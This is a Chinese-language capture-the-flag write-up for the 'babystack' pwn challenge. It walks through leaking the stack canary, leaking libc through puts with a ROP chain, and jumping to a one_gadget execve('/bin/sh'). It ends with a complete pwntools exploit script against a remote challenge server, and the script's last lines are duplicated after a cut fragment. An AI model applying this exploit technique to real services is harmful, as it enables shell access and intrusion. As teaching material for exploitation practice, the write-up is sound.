0x00.检查保护
devil@ubuntu:~/adworld/pwn$ checksec babystack
[*] '/home/devil/adworld/pwn/babystack'
Arch: amd64-64-little
RELRO: Full RELRO ;无法修改got表
Stack: Canary found ;不能直接进行溢出
NX: NX enabled ;堆栈不可执行
PIE: No PIE (0x400000)
0x01.one_gadget
本题给了libc版本,可以使用one_gadget工具
我也是第一次使用one_gadget,简单介绍一下:
功能:查找已知的libc中exevce("/bin/sh")语句的地址
用法: one_gadget libc-x.xx.so
官方文档点击此处
devil@ubuntu:~/adworld/pwn$ one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
通过使用one_gadget可以找到获得shell的函数的地址
execve_addr = 0x45216
0x02.ida调试
可以看出v6储存的是canary,s是我们输入的字符串,二者相距0x88字节。
则我们先输入0x88个字节,再利用print函数就可以把canary的值带出来。
代码如下:
payload1 = 'A'*0x88
r.sendlineafter(">> ","1")
r.sendline(payload1)
r.sendlineafter(">> ","2")
r.recvuntil('A'*0x88+'\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
有了canary的值我们可以进行溢出,64位程序溢出还需要一个pop rdi;ret
0x0000000000400a93 : pop rdi ; ret
0x03.解题思路:
用’a’*0x88字节带出canary,知道canary即可进行溢出。
溢出利用puts函数输出puts的函数地址,再利用puts_addr-libc.symbols['puts']
得到libc偏移offset
execve_addr=offset+one_gadget得到的execve代码
0x04.exp
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
r = remote("111.198.29.45",51596)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
execve = 0x45216 #one_gadget得到
main_addr = 0x400908 #main函数地址
rdi_addr = 0x400a93 #pop rdi;ret
payload1 = 'A'*0x88 #s和canary距离
r.sendlineafter(">> ","1")
r.sendline(payload1) #要使用sendline,即输入'A'*0x88后还要有一个回车,目的是将canary尾部的'\x00'覆盖为'\x0A'
#用puts函数输出canary时,puts函数遇到'\x00'会截断,使用'\x0A'覆盖'\x00',才能将canary输出
#注意,本程序是小端字节序(低位地址对应高位字节)
r.sendlineafter(">> ","2")
r.recvuntil('A'*0x88+'\n') #要等到'\n'之后再读取
canary = u64(r.recv(7).rjust(8,'\x00')) #r.recv(7)是由于puts输出的canary最后一位是'\x0A',要重新换成'\x00'
payload2 = 'A'*0x88
payload2+=p64(canary)+p64(0xdeadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)# 调用puts函数将puts函数的地址输出
r.sendlineafter(">> ","1")
r.sendline(payload2)
r.sendlineafter(">> ","3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))
offset = puts_addr - libc.symbols['puts']
execve_addr = offset + execve
payload3 = 'A'*0x88 + p64(canary) + p64(0xdeadbeef) + p64(execve_addr)
r.sendlineafter(">> ","1")
r.sendline(payload3)
r.sendlineafter(">> ","3")
r.interactive()
ter(">> ","1")
r.sendline(payload3)
r.sendlineafter(">> ","3")
r.interactive()